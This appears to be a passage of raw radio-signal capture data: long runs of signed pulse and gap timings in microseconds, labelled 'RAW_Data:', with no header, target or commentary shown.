-368 105 -370 93 -384 93 -372 129 -3706 105 -336 129 -362 123 -338 349 -132 333 -124 335 -128 337 -128 337 -128 125 -350 349 -104 337 -124 343 -126 121 -370 101 -368 93 -382 349 -102 141 -364 103 -336 371 -106 337 -128 97 -382 93 -378 101 -368 91 -380 95 -3734 95 -364 139 -334 125 -352 349 -104 337 -122 341 -126 337 -128 337 -128 127 -344 355 -140 333 -94 343 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 369 -108 337 -128 95 -384 91 -378 103 -366 93 -380 95 -3734 95 -364 139 -334 125 -350 349 -104 337 -124 341 -126 337 -128 337 -128 127 -344 355 -140 333 -92 345 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 371 -106 337 -128 97 -370 105 -368 93 -384 95 -370 129 -3708 105 -338 127 -362 123 -340 347 -132 -RAW_Data: 333 -122 337 -128 337 -128 337 -128 125 -348 353 -104 335 -124 343 -126 121 -370 103 -366 93 -380 351 -104 141 -362 105 -336 369 -106 339 -128 95 -372 103 -370 93 -384 93 -372 129 -3708 105 -336 129 -360 123 -360 327 -122 337 -128 337 -128 337 -128 337 -124 123 -348 347 -132 331 -124 335 -128 121 -340 131 -366 93 -380 349 -104 139 -362 105 -336 371 -106 337 -128 97 -382 93 -378 101 -368 91 -380 95 -3734 93 -366 139 -336 123 -352 349 -104 337 -124 341 -128 337 -128 339 -126 127 -348 353 -138 301 -124 343 -128 121 -372 101 -366 93 -382 319 -134 105 -396 105 -336 369 -106 337 -128 97 -384 93 -378 101 -368 93 -380 95 -3740 103 -342 135 -334 123 -356 327 -124 385 -106 359 -108 337 -94 349 -126 121 -372 351 -106 345 -104 365 -92 139 -342 127 -358 93 -392 327 -122 121 -348 139 -334 369 -106 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3708 137 -342 137 -336 121 -360 329 -120 357 -140 323 -144 305 -126 351 -140 105 -360 331 -126 353 -94 367 -98 123 -368 129 -330 123 -376 317 -134 141 -360 107 -334 369 -106 337 -128 95 -370 141 -334 93 -382 95 -370 129 -3684 137 -338 127 -356 125 -360 327 -122 361 -104 359 -106 337 -124 359 -106 139 -356 329 -124 347 -94 369 -96 125 -366 95 -364 123 -374 319 -134 139 -362 105 -336 367 -108 337 -128 95 -370 139 -334 125 -352 93 -372 129 -3710 105 -338 129 -360 123 -360 327 -122 337 -128 337 -128 337 -128 337 -126 123 -346 347 -132 331 -124 337 -128 121 -338 133 -366 93 -378 319 -134 139 -362 105 -336 371 -106 337 -130 95 -370 105 -370 93 -384 93 -372 129 -3680 137 -338 127 -358 123 -360 327 -124 337 -126 337 -130 337 -126 337 -124 123 -346 349 -132 331 -122 337 -128 121 -340 131 -366 93 -380 349 -104 139 -362 105 -336 371 -106 337 -128 97 -370 139 -334 93 -384 95 -370 129 -3682 139 -336 127 -358 123 -360 327 -124 359 -106 357 -108 337 -124 359 -104 139 -358 327 -126 347 -94 369 -96 125 -366 95 -364 123 -374 319 -134 105 -396 105 -336 367 -108 337 -128 95 -370 103 -370 93 -384 93 -372 129 -3706 91 -380 103 -368 91 -380 351 -102 337 -124 341 -126 337 -128 339 -126 127 -344 355 -140 333 -92 345 -126 121 -372 101 -368 93 -380 351 -102 141 -364 105 -336 369 -108 337 -128 95 -370 139 -334 93 -384 93 -372 129 -3708 93 -380 101 -368 91 -380 349 -104 337 -122 341 -126 337 -130 337 -126 127 -344 355 -140 -RAW_Data: 333 -94 343 -126 121 -372 103 -366 93 -380 351 -104 141 -362 105 -334 371 -108 335 -130 95 -382 93 -378 103 -366 93 -382 93 -3738 93 -364 139 -334 125 -352 349 -104 337 -124 339 -128 337 -128 337 -128 125 -346 353 -140 333 -94 345 -126 123 -370 101 -368 91 -382 351 -104 141 -362 105 -336 369 -108 337 -128 95 -370 105 -370 93 -384 93 -370 129 -3712 107 -336 129 -360 123 -360 327 -124 359 -106 357 -108 337 -124 357 -106 139 -358 327 -126 347 -94 369 -98 123 -368 95 -362 123 -374 319 -134 105 -396 107 -334 369 -106 337 -128 95 -370 141 -334 93 -382 95 -370 129 -3708 105 -370 97 -362 123 -338 349 -132 333 -124 337 -126 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 371 -106 337 -128 97 -384 91 -378 101 -368 93 -380 95 -3708 137 -342 137 -336 121 -358 327 -122 389 -104 361 -108 335 -96 345 -126 123 -370 353 -104 347 -104 363 -94 139 -340 129 -358 93 -392 327 -122 121 -348 137 -334 369 -106 337 -130 95 -382 93 -380 101 -368 91 -382 93 -3738 103 -344 137 -336 123 -354 359 -92 377 -94 369 -98 337 -128 337 -126 123 -354 347 -132 331 -122 339 -126 123 -338 131 -366 93 -380 349 -104 141 -362 105 -334 371 -106 337 -128 97 -382 93 -378 103 -366 93 -382 93 -3708 137 -342 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 345 -126 121 -372 353 -104 347 -104 365 -92 139 -342 127 -358 93 -372 349 -132 103 -358 141 -336 365 -108 335 -128 95 -370 141 -334 93 -384 93 -370 129 -3714 107 -336 127 -360 123 -360 329 -120 361 -104 359 -108 337 -124 359 -104 141 -356 329 -126 347 -94 369 -96 125 -366 95 -364 123 -374 317 -136 103 -398 105 -334 369 -106 337 -128 97 -370 105 -368 93 -386 93 -372 97 -3744 105 -338 127 -360 123 -360 327 -122 337 -128 337 -128 337 -128 335 -124 123 -348 347 -132 331 -124 337 -126 121 -340 131 -368 91 -380 351 -104 141 -362 105 -336 369 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3704 91 -382 103 -368 123 -348 349 -104 339 -124 339 -126 369 -96 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 91 -384 349 -104 143 -362 105 -336 371 -108 337 -128 95 -368 141 -334 125 -352 93 -370 129 -3708 105 -368 99 -362 123 -338 349 -134 333 -124 335 -128 337 -128 337 -126 127 -344 353 -140 335 -92 375 -96 121 -370 101 -368 123 -350 349 -104 -RAW_Data: 143 -362 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 93 -370 129 -3714 105 -338 127 -360 125 -360 327 -122 359 -106 359 -108 337 -124 361 -104 141 -356 327 -94 377 -94 369 -96 125 -366 129 -330 123 -374 349 -102 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -350 93 -372 127 -3716 107 -336 127 -360 125 -360 327 -122 359 -106 359 -108 337 -124 361 -104 139 -356 327 -94 377 -94 369 -96 123 -366 131 -330 123 -374 349 -102 141 -364 105 -336 369 -106 337 -128 95 -370 139 -336 125 -350 95 -370 129 -3708 91 -380 103 -368 123 -348 349 -104 339 -122 371 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 349 -104 143 -362 105 -336 371 -108 337 -128 97 -370 139 -334 125 -352 93 -370 129 -3716 107 -336 129 -358 123 -360 329 -122 359 -106 359 -106 339 -124 359 -106 139 -356 329 -92 377 -94 369 -96 125 -366 129 -330 123 -374 351 -102 141 -362 105 -334 369 -108 339 -128 95 -368 105 -370 93 -384 93 -372 129 -3682 139 -336 129 -358 123 -360 327 -122 337 -126 337 -130 337 -126 337 -124 123 -346 349 -132 331 -124 337 -126 121 -340 131 -368 91 -380 351 -104 141 -362 107 -334 371 -108 337 -128 95 -370 139 -334 125 -352 93 -372 129 -3714 105 -338 127 -360 125 -360 327 -122 337 -126 337 -128 337 -128 335 -126 123 -348 347 -132 331 -124 337 -128 121 -338 133 -366 93 -380 349 -104 139 -362 105 -336 371 -108 337 -128 95 -384 91 -378 103 -366 93 -382 93 -3742 103 -344 137 -336 121 -358 329 -120 389 -104 361 -108 337 -96 375 -94 121 -372 353 -106 345 -104 365 -92 139 -340 129 -358 123 -360 327 -124 119 -350 139 -336 369 -106 339 -128 95 -370 141 -334 125 -352 125 -338 127 -3708 91 -384 101 -368 125 -348 349 -104 339 -124 369 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 349 -104 143 -362 105 -336 371 -108 337 -128 95 -372 139 -336 123 -352 93 -372 127 -3714 105 -338 129 -360 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 139 -358 327 -92 379 -94 369 -96 123 -368 129 -330 123 -376 317 -134 139 -362 105 -336 367 -108 337 -128 97 -372 103 -370 93 -384 93 -372 127 -3684 139 -336 127 -360 123 -360 327 -124 359 -106 359 -108 337 -124 359 -106 139 -356 327 -124 363 -104 361 -106 105 -382 103 -356 107 -368 325 -140 107 -362 105 -370 345 -106 339 -130 99 -376 105 -370 -RAW_Data: 93 -382 93 -372 129 -3708 91 -380 103 -368 91 -380 349 -104 337 -122 369 -94 371 -96 337 -126 127 -340 357 -142 335 -94 375 -94 121 -372 101 -368 125 -348 351 -104 141 -362 105 -336 373 -108 337 -128 97 -370 139 -334 125 -352 93 -370 129 -3708 105 -370 97 -362 123 -340 347 -134 333 -122 337 -126 339 -128 337 -126 127 -344 353 -140 335 -94 375 -96 121 -370 101 -368 123 -350 349 -104 143 -362 105 -338 371 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3714 107 -336 129 -360 123 -360 327 -122 337 -128 337 -128 337 -128 335 -124 123 -348 349 -132 331 -122 337 -126 123 -338 133 -366 91 -380 351 -104 141 -364 105 -336 371 -106 339 -126 97 -370 139 -334 125 -352 93 -370 129 -3704 139 -336 99 -364 123 -340 349 -134 333 -122 337 -126 337 -130 337 -126 125 -346 353 -140 335 -92 375 -94 121 -372 103 -366 125 -348 351 -104 141 -362 107 -334 373 -108 337 -128 95 -372 139 -334 125 -352 93 -370 129 -3706 105 -370 99 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -350 347 -134 331 -124 335 -128 121 -338 133 -368 91 -380 351 -102 143 -362 105 -336 371 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3714 107 -336 129 -360 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 139 -356 329 -92 379 -94 369 -96 123 -366 131 -330 123 -372 351 -102 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3708 91 -380 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 339 -126 127 -342 355 -142 335 -94 383 -106 105 -348 123 -372 95 -372 347 -92 125 -366 139 -336 367 -108 337 -128 95 -370 141 -334 125 -350 95 -370 127 -3704 125 -352 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 351 -104 141 -362 105 -336 373 -108 339 -128 95 -368 141 -334 93 -382 95 -370 129 -3716 105 -338 127 -360 125 -360 327 -122 361 -104 359 -108 337 -124 361 -104 141 -356 327 -92 379 -94 369 -96 123 -368 129 -330 123 -374 349 -102 141 -362 107 -334 369 -108 339 -126 97 -370 141 -334 125 -350 93 -370 129 -3708 103 -372 97 -364 123 -338 349 -132 335 -122 335 -128 337 -128 337 -128 125 -344 355 -140 335 -92 375 -94 121 -372 103 -366 125 -350 349 -104 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3708 103 -370 97 -364 123 -340 -RAW_Data: 347 -134 333 -122 337 -126 339 -128 337 -126 127 -344 355 -140 335 -94 343 -126 123 -370 101 -368 91 -382 351 -104 141 -362 105 -334 373 -106 337 -128 97 -382 93 -378 101 -368 93 -380 95 -3734 93 -380 93 -378 101 -368 363 -108 337 -94 381 -92 369 -96 371 -96 125 -370 359 -108 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -350 125 -338 129 -3708 103 -372 97 -364 123 -340 347 -134 333 -122 367 -96 369 -96 337 -128 125 -344 355 -140 335 -94 375 -92 123 -372 101 -368 123 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 93 -372 129 -3704 93 -382 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 339 -126 125 -344 355 -140 335 -94 375 -94 121 -372 103 -368 123 -350 349 -104 143 -362 105 -336 373 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3714 105 -338 129 -360 125 -360 327 -122 359 -106 359 -108 337 -124 361 -104 141 -356 329 -92 377 -94 369 -96 125 -366 129 -332 121 -374 351 -102 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3708 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -350 347 -132 333 -122 337 -126 123 -338 133 -366 91 -380 351 -102 143 -362 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 93 -372 129 -3704 123 -352 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 369 -96 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 373 -108 337 -130 95 -370 105 -370 93 -384 93 -372 129 -3706 105 -370 97 -364 123 -340 349 -132 333 -124 337 -126 337 -130 337 -126 127 -346 353 -104 337 -124 343 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 91 -382 95 -3742 101 -344 137 -336 123 -356 359 -90 385 -106 359 -108 337 -128 319 -124 121 -372 353 -104 349 -104 365 -92 139 -342 127 -360 125 -338 349 -132 103 -396 105 -336 365 -108 337 -126 97 -368 139 -334 125 -354 93 -372 127 -3716 105 -338 129 -360 123 -360 327 -122 359 -106 359 -106 339 -124 357 -104 141 -358 329 -124 349 -94 369 -96 125 -366 131 -328 123 -376 317 -134 139 -362 105 -336 369 -108 337 -128 97 -370 105 -370 93 -384 93 -372 129 -3714 105 -336 129 -360 125 -358 327 -122 337 -128 337 -128 337 -128 335 -126 123 -348 -RAW_Data: 347 -134 331 -124 337 -126 123 -338 131 -368 91 -382 349 -104 141 -362 105 -334 371 -108 337 -128 97 -384 91 -378 101 -368 93 -380 95 -3740 103 -344 137 -336 123 -356 359 -92 383 -106 359 -108 339 -128 319 -126 121 -372 351 -104 347 -138 329 -124 109 -342 127 -360 93 -372 349 -132 103 -394 71 -370 333 -140 337 -126 97 -370 103 -370 93 -384 95 -370 129 -3706 105 -370 99 -364 123 -358 329 -122 339 -126 337 -130 337 -128 337 -124 125 -348 349 -132 331 -124 337 -126 123 -370 99 -368 91 -380 319 -134 141 -362 105 -336 371 -106 337 -130 95 -372 103 -370 91 -386 95 -370 129 -3714 105 -338 127 -362 123 -360 327 -124 337 -126 339 -128 337 -128 337 -124 125 -346 349 -132 329 -124 339 -128 121 -338 133 -366 93 -378 319 -134 141 -362 105 -334 371 -106 339 -128 97 -382 105 -370 97 -360 125 -340 129 -3706 139 -338 133 -332 123 -360 327 -122 341 -126 337 -130 337 -128 337 -124 125 -348 349 -132 329 -124 339 -126 123 -370 101 -366 93 -380 319 -134 141 -362 105 -334 371 -106 339 -128 97 -382 93 -378 101 -368 93 -382 93 -3744 103 -342 137 -336 123 -356 327 -122 385 -104 361 -108 337 -128 329 -140 107 -344 353 -140 333 -94 345 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 371 -106 337 -130 95 -384 93 -378 101 -368 91 -384 93 -3746 103 -340 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 349 -124 121 -372 353 -104 347 -104 365 -124 109 -340 129 -358 93 -372 349 -132 103 -396 69 -368 367 -108 337 -128 95 -372 103 -370 93 -384 93 -372 127 -3708 105 -370 99 -364 123 -338 349 -134 333 -122 337 -128 337 -128 337 -128 125 -348 353 -140 331 -94 345 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 373 -106 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3742 103 -378 103 -336 123 -356 359 -92 385 -106 359 -108 337 -96 379 -94 121 -372 355 -104 347 -104 365 -92 139 -340 129 -358 125 -360 327 -122 121 -348 139 -336 369 -108 337 -128 97 -370 141 -334 125 -352 125 -338 127 -3708 139 -336 99 -364 123 -338 379 -104 333 -124 335 -128 369 -96 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -106 339 -128 97 -368 105 -368 93 -384 95 -370 129 -3706 105 -370 99 -364 123 -338 349 -134 333 -124 335 -128 337 -128 337 -128 125 -344 355 -140 335 -92 375 -94 121 -372 103 -368 123 -350 -RAW_Data: 351 -104 141 -364 105 -334 371 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3744 103 -344 137 -336 121 -358 359 -90 387 -106 361 -106 337 -96 393 -104 107 -342 355 -140 335 -94 375 -94 121 -372 101 -368 123 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3712 105 -370 97 -362 125 -360 327 -122 335 -128 337 -128 337 -128 337 -124 123 -348 347 -134 331 -122 369 -94 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 123 -352 103 -368 125 -348 349 -104 339 -124 369 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -368 125 -348 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3706 105 -372 97 -364 123 -340 347 -134 333 -122 339 -126 337 -128 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 123 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3708 93 -382 103 -368 123 -348 349 -104 339 -122 371 -94 369 -96 339 -126 127 -342 355 -142 335 -94 375 -94 121 -372 103 -368 123 -350 351 -104 141 -362 107 -336 371 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3708 105 -370 99 -362 123 -360 329 -122 367 -96 369 -96 337 -128 335 -126 123 -352 347 -132 331 -124 337 -126 121 -340 133 -366 93 -380 349 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -350 95 -370 129 -3714 105 -338 129 -360 125 -360 327 -122 359 -106 359 -108 337 -124 359 -104 141 -360 329 -94 377 -94 369 -96 123 -368 129 -330 123 -374 349 -102 141 -364 105 -336 369 -106 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3708 105 -372 97 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -132 331 -124 367 -96 121 -370 103 -366 93 -380 349 -104 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -350 95 -370 127 -3706 141 -336 99 -364 123 -338 379 -102 335 -124 367 -96 369 -96 337 -126 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 371 -106 339 -128 95 -384 91 -380 101 -368 93 -382 95 -3742 103 -342 139 -334 123 -358 359 -90 387 -106 359 -108 337 -96 379 -94 121 -370 355 -106 347 -104 365 -92 139 -340 127 -360 123 -338 349 -132 139 -326 141 -336 367 -106 337 -128 95 -372 -RAW_Data: 139 -334 125 -352 93 -372 127 -3710 105 -370 97 -364 123 -360 327 -122 369 -96 369 -96 337 -128 335 -126 123 -352 347 -134 331 -124 335 -128 121 -338 133 -368 91 -378 351 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -350 95 -370 129 -3716 105 -338 129 -360 123 -360 327 -122 337 -126 337 -130 337 -126 337 -124 125 -348 347 -134 331 -124 335 -128 121 -370 103 -366 91 -380 351 -102 143 -362 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3712 105 -370 97 -362 125 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -132 333 -122 339 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 371 -108 335 -128 97 -382 93 -378 103 -368 91 -382 95 -3732 95 -380 91 -380 101 -370 363 -108 337 -96 379 -94 369 -96 369 -96 125 -370 327 -142 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 127 -3708 91 -384 101 -368 125 -350 349 -104 339 -122 371 -94 369 -98 337 -128 125 -340 357 -140 335 -94 377 -94 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 373 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3708 105 -370 99 -364 123 -338 349 -134 333 -124 335 -128 337 -128 337 -128 125 -344 353 -142 333 -94 375 -94 121 -372 101 -370 123 -350 349 -104 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 127 -3712 103 -370 97 -364 123 -360 327 -122 369 -96 369 -96 337 -128 337 -124 123 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3706 139 -336 99 -364 123 -338 349 -134 333 -124 335 -128 337 -128 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -336 373 -108 337 -128 95 -372 139 -334 125 -352 93 -370 129 -3706 123 -352 103 -370 123 -350 349 -104 339 -122 371 -94 369 -96 369 -96 127 -340 357 -140 335 -94 377 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -350 127 -338 129 -3710 105 -370 99 -364 123 -360 327 -122 367 -94 371 -96 337 -128 337 -124 123 -352 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -102 143 -362 107 -336 371 -108 337 -128 95 -372 139 -334 125 -352 93 -372 129 -3712 105 -370 97 -362 -RAW_Data: 125 -360 327 -122 359 -106 359 -108 337 -124 359 -106 139 -362 329 -92 377 -94 369 -96 125 -366 129 -330 123 -374 349 -104 141 -362 105 -336 369 -108 339 -128 95 -370 103 -370 93 -384 93 -372 129 -3710 105 -370 99 -362 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -352 347 -132 331 -124 335 -128 121 -370 101 -368 93 -380 349 -104 143 -362 105 -336 371 -108 339 -126 97 -370 141 -334 125 -350 125 -340 129 -3714 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -124 357 -106 141 -362 329 -92 377 -94 369 -96 125 -366 129 -332 121 -374 349 -104 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3710 105 -372 97 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -134 331 -124 335 -128 121 -370 101 -368 93 -378 351 -104 141 -362 107 -334 371 -108 339 -128 95 -352 123 -378 101 -368 123 -350 125 -3702 95 -378 141 -334 133 -330 349 -140 335 -94 375 -94 369 -96 369 -96 125 -372 325 -142 335 -94 379 -94 121 -372 101 -370 123 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 125 -350 103 -368 125 -350 349 -104 339 -124 369 -94 369 -98 337 -128 125 -340 357 -142 335 -94 377 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -338 371 -108 337 -128 95 -372 139 -336 123 -352 95 -370 129 -3704 125 -352 103 -368 125 -348 351 -104 337 -124 369 -96 369 -96 369 -96 125 -340 357 -142 335 -96 377 -94 121 -372 101 -368 125 -348 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3710 105 -370 97 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -132 333 -122 337 -128 121 -370 101 -368 91 -382 349 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3704 141 -336 99 -364 123 -338 351 -132 335 -122 337 -128 337 -128 337 -128 125 -342 355 -142 335 -94 375 -94 121 -372 103 -366 125 -350 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3704 125 -352 103 -368 125 -348 351 -104 337 -124 371 -94 369 -96 339 -126 125 -342 357 -140 335 -94 377 -94 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3712 105 -370 97 -364 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 -RAW_Data: 141 -360 329 -94 375 -94 369 -96 125 -366 129 -332 121 -374 351 -102 141 -362 105 -336 371 -108 337 -128 95 -370 141 -334 125 -350 125 -340 129 -3712 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 337 -128 337 -124 123 -352 347 -134 331 -124 335 -128 121 -340 131 -368 93 -378 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 139 -336 125 -350 95 -370 129 -3712 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 339 -126 337 -124 123 -352 347 -132 331 -124 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 103 -336 371 -108 337 -128 97 -382 93 -380 101 -368 93 -380 95 -3740 103 -378 105 -334 123 -356 357 -92 377 -94 369 -96 369 -96 369 -94 123 -372 327 -128 355 -92 369 -128 91 -368 131 -332 123 -376 349 -104 141 -364 105 -336 369 -108 339 -126 97 -370 141 -334 125 -350 125 -338 129 -3704 139 -336 135 -332 121 -340 381 -102 335 -122 337 -128 369 -96 337 -128 125 -342 355 -142 335 -94 345 -126 121 -372 101 -368 93 -382 351 -104 141 -362 103 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3746 103 -342 137 -336 121 -358 357 -92 385 -106 361 -106 339 -96 395 -104 107 -342 353 -142 335 -94 375 -94 121 -372 103 -366 125 -350 351 -102 143 -362 107 -336 371 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3706 141 -336 97 -364 123 -338 381 -102 333 -124 367 -96 369 -96 337 -128 125 -342 355 -142 335 -94 375 -94 123 -370 103 -368 125 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 369 -96 337 -124 123 -352 347 -132 333 -122 369 -94 123 -370 101 -368 91 -382 349 -104 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 99 -364 123 -338 381 -102 335 -122 339 -126 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 351 -104 141 -362 107 -336 373 -108 337 -128 95 -372 139 -334 125 -352 93 -372 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 369 -94 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3712 139 -336 135 -332 123 -360 327 -122 371 -94 369 -96 369 -96 369 -92 125 -354 345 -134 331 -124 335 -128 121 -370 101 -368 -RAW_Data: 93 -380 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 123 -354 103 -368 123 -352 349 -104 339 -122 371 -96 369 -96 337 -128 125 -342 355 -142 335 -94 375 -94 121 -372 103 -368 123 -350 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3706 139 -336 99 -364 123 -340 379 -102 335 -124 337 -126 337 -128 337 -128 125 -344 355 -140 335 -94 377 -94 121 -372 101 -368 123 -350 351 -102 143 -362 105 -336 375 -106 339 -128 95 -370 105 -370 93 -384 93 -370 129 -3714 107 -370 97 -362 123 -360 327 -122 337 -128 337 -128 337 -128 335 -126 123 -350 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3704 141 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 345 -134 331 -124 337 -126 121 -372 101 -368 91 -380 351 -102 143 -362 105 -336 373 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3704 123 -354 103 -368 125 -350 349 -104 339 -124 369 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -370 123 -352 349 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3708 139 -336 99 -364 123 -338 381 -102 335 -122 337 -128 369 -96 337 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -108 337 -128 95 -384 91 -380 101 -368 93 -382 95 -3734 95 -380 91 -380 101 -370 363 -108 335 -128 319 -124 369 -98 337 -128 125 -374 325 -140 335 -126 317 -124 121 -372 103 -366 93 -384 351 -102 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3742 103 -378 105 -334 123 -354 359 -92 377 -94 369 -96 369 -96 369 -94 125 -370 327 -126 357 -92 369 -126 93 -366 131 -334 123 -376 351 -102 141 -364 105 -336 371 -106 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3708 139 -336 99 -364 123 -338 381 -102 335 -122 369 -94 371 -96 337 -126 127 -342 355 -140 335 -94 377 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 375 -106 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3704 125 -354 137 -334 125 -350 349 -104 339 -122 371 -94 369 -96 371 -94 127 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -102 143 -362 105 -338 371 -108 339 -128 -RAW_Data: 95 -370 141 -334 125 -352 125 -340 127 -3712 105 -370 97 -364 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 331 -124 367 -96 121 -370 101 -368 93 -380 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3710 103 -372 97 -364 125 -360 327 -122 369 -94 369 -96 337 -128 337 -124 125 -352 347 -132 333 -122 337 -126 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 371 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 